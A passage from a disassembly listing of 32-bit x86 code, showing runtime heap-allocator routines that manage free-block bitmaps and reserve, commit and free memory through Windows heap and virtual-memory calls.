XREF: sub_427595+ADj cmp ebx, [ebp+var_4] jnb short loc_427647 cmp dword ptr [ebx+8], 0 jnz short loc_427644 add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_427631 ; --------------------------------------------------------------------------- loc_427644: ; CODE XREF: sub_427595+A5j cmp ebx, [ebp+var_4] loc_427647: ; CODE XREF: sub_427595+9Fj jnz short loc_42766F mov ebx, edx loc_42764B: ; CODE XREF: sub_427595+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_42765F cmp dword ptr [ebx+8], 0 jnz short loc_42765D add ebx, 14h jmp short loc_42764B ; --------------------------------------------------------------------------- loc_42765D: ; CODE XREF: sub_427595+C1j cmp ebx, eax loc_42765F: ; CODE XREF: sub_427595+BBj jnz short loc_42766F call sub_42789E mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_427683 loc_42766F: ; CODE XREF: sub_427595:loc_427647j ; sub_427595:loc_42765Fj push ebx call sub_42794F pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_42768A loc_427683: ; CODE XREF: sub_427595+D8j xor eax, eax jmp loc_427899 ; --------------------------------------------------------------------------- loc_42768A: ; CODE XREF: sub_427595+7Aj ; sub_427595:loc_42762Fj ... mov dword_6319A8, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_4276B1 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4276E8 loc_4276B1: ; CODE XREF: sub_427595+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_4276E5 loc_4276CE: ; CODE XREF: sub_427595+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_4276CE loc_4276E5: ; CODE XREF: sub_427595+137j mov edx, [ebp+var_4] loc_4276E8: ; CODE XREF: sub_427595+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_427711 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_427711: ; CODE XREF: sub_427595+16Dj ; sub_427595+183j test ecx, ecx jl short loc_42771A shl ecx, 1 inc edi jmp short loc_427711 ; --------------------------------------------------------------------------- loc_42771A: ; CODE XREF: sub_427595+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_427737 push 3Fh pop esi loc_427737: ; CODE XREF: sub_427595+19Dj cmp esi, edi jz loc_42784C mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4277A8 cmp edi, 20h jge short loc_427777 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_4277A5 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_4277A8 ; --------------------------------------------------------------------------- loc_427777: ; CODE XREF: sub_427595+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_4277A5 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_4277A8 ; --------------------------------------------------------------------------- loc_4277A5: ; CODE XREF: sub_427595+1D6j ; sub_427595+203j mov ebx, [ebp+arg_0] loc_4277A8: ; CODE XREF: sub_427595+1B0j ; sub_427595+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_427858 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_427849 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_42781A inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_427808 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_427808: ; CODE XREF: sub_427595+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_427849 ; --------------------------------------------------------------------------- loc_42781A: ; CODE XREF: sub_427595+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_427833 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_427833: ; CODE XREF: sub_427595+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_427849: ; CODE XREF: sub_427595+24Ej ; sub_427595+283j mov ecx, [ebp+var_8] loc_42784C: ; CODE XREF: sub_427595+1A4j test ecx, ecx jz short loc_42785B mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_42785B ; --------------------------------------------------------------------------- loc_427858: ; CODE XREF: sub_427595+229j mov ecx, [ebp+var_8] loc_42785B: ; CODE XREF: sub_427595+2B9j ; sub_427595+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_427891 cmp ebx, dword_6319AC jnz short loc_427891 mov ecx, [ebp+var_4] cmp ecx, dword_6319A4 jnz short loc_427891 and dword_6319AC, 0 loc_427891: ; CODE XREF: sub_427595+2E0j ; sub_427595+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_427899: ; CODE XREF: sub_427595+F0j pop edi pop esi pop ebx leave retn sub_427595 endp ; =============== S U B R O U T I N E ======================================= sub_42789E proc near ; CODE XREF: sub_427595+CCp mov eax, dword_6319B0 mov ecx, dword_6319A0 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_4278E1 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_6319B4 push edi push dword_6319BC call dword_42F1B4 ; RtlReAllocateHeap cmp eax, edi jz short loc_427931 add dword_6319A0, 10h mov dword_6319B4, eax mov eax, dword_6319B0 loc_4278E1: ; CODE XREF: sub_42789E+11j mov ecx, dword_6319B4 push 41C4h push 8 lea eax, [eax+eax*4] push dword_6319BC lea esi, [ecx+eax*4] call dword_42F1EC ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_427931 push 4 push 2000h push 100000h push edi call dword_42F1B8 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_427935 push dword ptr [esi+10h] push edi push dword_6319BC call dword_42F1F0 ; RtlFreeHeap loc_427931: ; CODE XREF: sub_42789E+30j ; sub_42789E+67j xor eax, eax jmp short loc_42794C ; --------------------------------------------------------------------------- loc_427935: ; CODE XREF: sub_42789E+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_6319B0 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_42794C: ; CODE XREF: sub_42789E+95j pop edi pop esi retn sub_42789E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42794F proc near ; CODE XREF: sub_427595+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_427961: ; CODE XREF: sub_42794F+19j test eax, eax jl short loc_42796A shl eax, 1 inc ebx jmp short loc_427961 ; --------------------------------------------------------------------------- loc_42796A: ; CODE XREF: sub_42794F+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_42797F: ; CODE XREF: sub_42794F+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_42797F mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_42F1B8 ; VirtualAlloc test eax, eax jnz short loc_4279B2 or eax, 0FFFFFFFFh jmp loc_427A45 ; --------------------------------------------------------------------------- loc_4279B2: ; CODE XREF: sub_42794F+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_4279F8 lea eax, [edi+10h] loc_4279BF: ; CODE XREF: sub_42794F+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_4279BF loc_4279F8: ; CODE XREF: sub_42794F+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_427A35 or [eax+4], edi loc_427A35: ; CODE XREF: sub_42794F+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_427A45: ; CODE XREF: sub_42794F+5Ej pop edi pop esi pop ebx leave retn sub_42794F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427A4A proc near ; CODE XREF: sub_4285CC+8Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_427BF8 test bl, 1 jnz loc_427BF1 add ebx, ecx cmp esi, ebx jg loc_427BF1 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_427AC1 push 3Fh pop ecx mov [ebp+var_8], ecx loc_427AC1: ; CODE XREF: sub_427A4A+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_427B11 cmp ecx, 20h jnb short loc_427AED mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_427B11 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_427B11 ; --------------------------------------------------------------------------- loc_427AED: ; CODE XREF: sub_427A4A+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_427B11 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_427B11: ; CODE XREF: sub_427A4A+7Dj ; sub_427A4A+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_427BDF mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_427B4B push 3Fh pop edi loc_427B4B: ; CODE XREF: sub_427A4A+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_427BCD mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_427BA4 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_427B97 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_427B97: ; CODE XREF: sub_427A4A+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_427BC9 ; --------------------------------------------------------------------------- loc_427BA4: ; CODE XREF: sub_427A4A+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_427BBA lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_427BBA: ; CODE XREF: sub_427A4A+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_427BC9: ; CODE XREF: sub_427A4A+158j shr edx, cl or [eax], edx loc_427BCD: ; CODE XREF: sub_427A4A+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_427BE2 ; --------------------------------------------------------------------------- loc_427BDF: ; CODE XREF: sub_427A4A+E5j mov edx, [ebp+arg_4] loc_427BE2: ; CODE XREF: sub_427A4A+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_427D38 ; --------------------------------------------------------------------------- loc_427BF1: ; CODE XREF: sub_427A4A+52j ; sub_427A4A+5Cj xor eax, eax jmp loc_427D3B ; --------------------------------------------------------------------------- loc_427BF8: ; CODE XREF: sub_427A4A+49j jge loc_427D38 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_427C23 push 3Fh pop esi loc_427C23: ; CODE XREF: sub_427A4A+1D4j test byte ptr [ebp+var_4], 1 jnz loc_427CB2 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_427C3C push 3Fh pop esi loc_427C3C: ; CODE XREF: sub_427A4A+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_427C8B cmp esi, 20h jnb short loc_427C67 mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_427C88 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_427C88 ; --------------------------------------------------------------------------- loc_427C67: ; CODE XREF: sub_427A4A+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_427C88 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_427C88: ; CODE XREF: sub_427A4A+214j ; sub_427A4A+21Bj ... mov ebx, [ebp+arg_4] loc_427C8B: ; CODE XREF: sub_427A4A+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_427CB2 push 3Fh pop esi loc_427CB2: ; CODE XREF: sub_427A4A+1DDj ; sub_427A4A+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_427D2F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_427D06 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_427CF9 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_427CF9: ; CODE XREF: sub_427A4A+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_427D2B ; --------------------------------------------------------------------------- loc_427D06: ; CODE XREF: sub_427A4A+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_427D1C lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_427D1C: ; CODE XREF: sub_427A4A+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_427D2B: ; CODE XREF: sub_427A4A+2BAj shr edx, cl or [eax], edx loc_427D2F: ; CODE XREF: sub_427A4A+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_427D38: ; CODE XREF: sub_427A4A+1A2j ; sub_427A4A:loc_427BF8j push 1 pop eax loc_427D3B: ; CODE XREF: sub_427A4A+1A9j pop edi pop esi pop ebx leave retn sub_427A4A endp ; =============== S U B R O U T I N E ======================================= sub_427D40 proc near ; CODE XREF: sub_42719C+41p ; sub_428038:loc_428207p cmp dword_449A88, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_427D54 mov esi, offset off_449A78 jmp short loc_427D71 ; --------------------------------------------------------------------------- loc_427D54: ; CODE XREF: sub_427D40+Bj push 2020h push 0 push dword_6319BC call dword_42F1EC ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_427E7D loc_427D71: ; CODE XREF: sub_427D40+12j mov ebp, dword_42F1B8 push 4 push 2000h push 400000h push 0 call ebp ; dword_42F1B8 mov edi, eax test edi, edi jz loc_427E66 push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; dword_42F1B8 test eax, eax jz loc_427E58 mov eax, offset off_449A78 cmp esi, eax jnz short loc_427DD0 cmp off_449A78, 0 jnz short loc_427DC0 mov off_449A78, eax loc_427DC0: ; CODE XREF: sub_427D40+79j cmp off_449A7C, 0 jnz short loc_427DE5 mov off_449A7C, eax jmp short loc_427DE5 ; --------------------------------------------------------------------------- loc_427DD0: ; CODE XREF: sub_427D40+70j mov [esi], eax mov eax, off_449A7C mov [esi+4], eax mov off_449A7C, esi mov eax, [esi+4] mov [eax], esi loc_427DE5: ; CODE XREF: sub_427D40+87j ; sub_427D40+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_427E07: ; CODE XREF: sub_427D40+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_427E07 push ebx push 0 push edi call sub_4221F0 add esp, 0Ch loc_427E30: ; CODE XREF: sub_427D40+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_427E54 or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_427E30 ; --------------------------------------------------------------------------- loc_427E54: ; CODE XREF: sub_427D40+F7j mov eax, esi jmp short loc_427E7F ; --------------------------------------------------------------------------- loc_427E58: ; CODE XREF: sub_427D40+63j push 8000h push 0 push edi call dword_42F1BC ; VirtualFree loc_427E66: ; CODE XREF: sub_427D40+4Bj cmp esi, offset off_449A78 jz short loc_427E7D push esi push 0 push dword_6319BC call dword_42F1F0 ; RtlFreeHeap loc_427E7D: ; CODE XREF: sub_427D40+2Bj ; sub_427D40+12Cj xor eax, eax loc_427E7F: ; CODE XREF: sub_427D40+116j pop edi pop esi pop ebp pop ebx retn sub_427D40 endp ; =============== S U B R O U T I N E ======================================= sub_427E84 proc near ; CODE XREF: sub_427EDA+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call dword_42F1BC ; VirtualFree cmp off_44BA98, esi jnz short loc_427EA9 mov eax, [esi+4] mov off_44BA98, eax loc_427EA9: ; CODE XREF: sub_427E84+1Bj cmp esi, offset off_449A78 jz short loc_427ED1 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_6319BC call dword_42F1F0 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_427ED1: ; CODE XREF: sub_427E84+2Bj or dword_449A88, 0FFFFFFFFh pop esi retn sub_427E84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427EDA proc near ; CODE XREF: sub_427FF3+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_449A7C push edi loc_427EE7: ; CODE XREF: sub_427EDA+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_427F85 and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_427F00: ; CODE XREF: sub_427EDA+72j cmp dword ptr [edi], 0F0h jnz short loc_427F41 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call dword_42F1BC ; VirtualFree test eax, eax jz short loc_427F41 or dword ptr [edi], 0FFFFFFFFh dec dword_631400 mov eax, [esi+0Ch] test eax, eax jz short loc_427F36 cmp eax, edi jbe short loc_427F39 loc_427F36: ; CODE XREF: sub_427EDA+56j mov [esi+0Ch], edi loc_427F39: ; CODE XREF: sub_427EDA+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_427F4E loc_427F41: ; CODE XREF: sub_427EDA+2Cj ; sub_427EDA+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_427F00 loc_427F4E: ; CODE XREF: sub_427EDA+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_427F85 cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_427F85 push 1 lea eax, [ecx+20h] pop edx loc_427F65: ; CODE XREF: sub_427EDA+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_427F76 inc edx add eax, 8 cmp edx, 400h jl short loc_427F65 loc_427F76: ; CODE XREF: sub_427EDA+8Ej cmp edx, 400h jnz short loc_427F85 push ecx call sub_427E84 pop ecx loc_427F85: ; CODE XREF: sub_427EDA+11j ; sub_427EDA+7Dj ... cmp esi, off_449A7C jz short loc_427F97 cmp [ebp+arg_0], 0 jg loc_427EE7 loc_427F97: ; CODE XREF: sub_427EDA+B1j pop edi pop esi pop ebx leave retn sub_427EDA endp ; =============== S U B R O U T I N E ======================================= sub_427F9C proc near ; CODE XREF: sub_4230B3+90p ; sub_4285CC+1D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_449A78 push esi mov ecx, edx loc_427FA8: ; CODE XREF: sub_427F9C+1Cj cmp eax, [ecx+10h] jbe short loc_427FB2 cmp eax, [ecx+14h] jb short loc_427FBA loc_427FB2: ; CODE XREF: sub_427F9C+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_427FEF jmp short loc_427FA8 ; --------------------------------------------------------------------------- loc_427FBA: ; CODE XREF: sub_427F9C+14j test al, 0Fh jnz short loc_427FEF mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_427FEF mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_427FEF: ; CODE XREF: sub_427F9C+1Aj ; sub_427F9C+20j ... xor eax, eax pop esi retn sub_427F9C endp ; =============== S U B R O U T I N E ======================================= sub_427FF3 proc near ; CODE XREF: sub_4230B3+A6p ; sub_4285CC+246p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_428037 inc dword_631400 cmp dword_631400, 20h jnz short locret_428037 push 10h call sub_427EDA pop ecx locret_428037: ; CODE XREF: sub_427FF3+2Bj ; sub_427FF3+3Aj retn sub_427FF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428038 proc near ; CODE XREF: sub_422FB7+A7p ; sub_423F63+C4p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_44BA98 push edi loc_428046: ; CODE XREF: sub_428038+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_4280F1 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_4280AB loc_428071: ; CODE XREF: sub_428038+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_428094 cmp [edi+4], ebx jbe short loc_428094 push ebx push ecx push eax call sub_428240 add esp, 0Ch test eax, eax jnz short loc_428103 mov eax, [ebp+var_4] mov [edi+4], ebx loc_428094: ; CODE XREF: sub_428038+40j ; sub_428038+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_428071 jmp short loc_4280AE ; --------------------------------------------------------------------------- loc_4280AB: ; CODE XREF: sub_428038+37j mov ebx, [ebp+arg_0] loc_4280AE: ; CODE XREF: sub_428038+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_4280F4 loc_4280C1: ; CODE XREF: sub_428038+B5j mov eax, [edi] cmp eax, ebx jl short loc_4280E0 cmp [edi+4], ebx jbe short loc_4280E0 push ebx push eax push [ebp+var_4] call sub_428240 add esp, 0Ch test eax, eax jnz short loc_428103 mov [edi+4], ebx loc_4280E0: ; CODE XREF: sub_428038+8Dj ; sub_428038+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_4280C1 jmp short loc_4280F4 ; --------------------------------------------------------------------------- loc_4280F1: ; CODE XREF: sub_428038+14j mov ebx, [ebp+arg_0] loc_4280F4: ; CODE XREF: sub_428038+87j ; sub_428038+B7j mov esi, [esi] cmp esi, off_44BA98 jz short loc_428113 jmp loc_428046 ; --------------------------------------------------------------------------- loc_428103: ; CODE XREF: sub_428038+54j ; sub_428038+A3j mov off_44BA98, esi sub [edi], ebx mov [esi+8], edi jmp loc_42823B ; --------------------------------------------------------------------------- loc_428113: ; CODE XREF: sub_428038+C4j mov eax, offset off_449A78 mov edi, eax loc_42811A: ; CODE XREF: sub_428038+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_428126 cmp dword ptr [edi+0Ch], 0 jnz short loc_428132 loc_428126: ; CODE XREF: sub_428038+E6j mov edi, [edi] cmp edi, eax jz loc_428207 jmp short loc_42811A ; --------------------------------------------------------------------------- loc_428132: ; CODE XREF: sub_428038+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_428161 loc_428150: ; CODE XREF: sub_428038+127j cmp [ebp+var_4], 10h jge short loc_428161 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_428150 loc_428161: ; CODE XREF: sub_428038+116j ; sub_428038+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call dword_42F1B8 ; VirtualAlloc cmp eax, esi jnz loc_428239 push 0 push [ebp+var_8] push esi call sub_4221F0 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_4281C8 lea eax, [esi+4] mov [ebp+var_4], edx loc_42819E: ; CODE XREF: sub_428038+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add 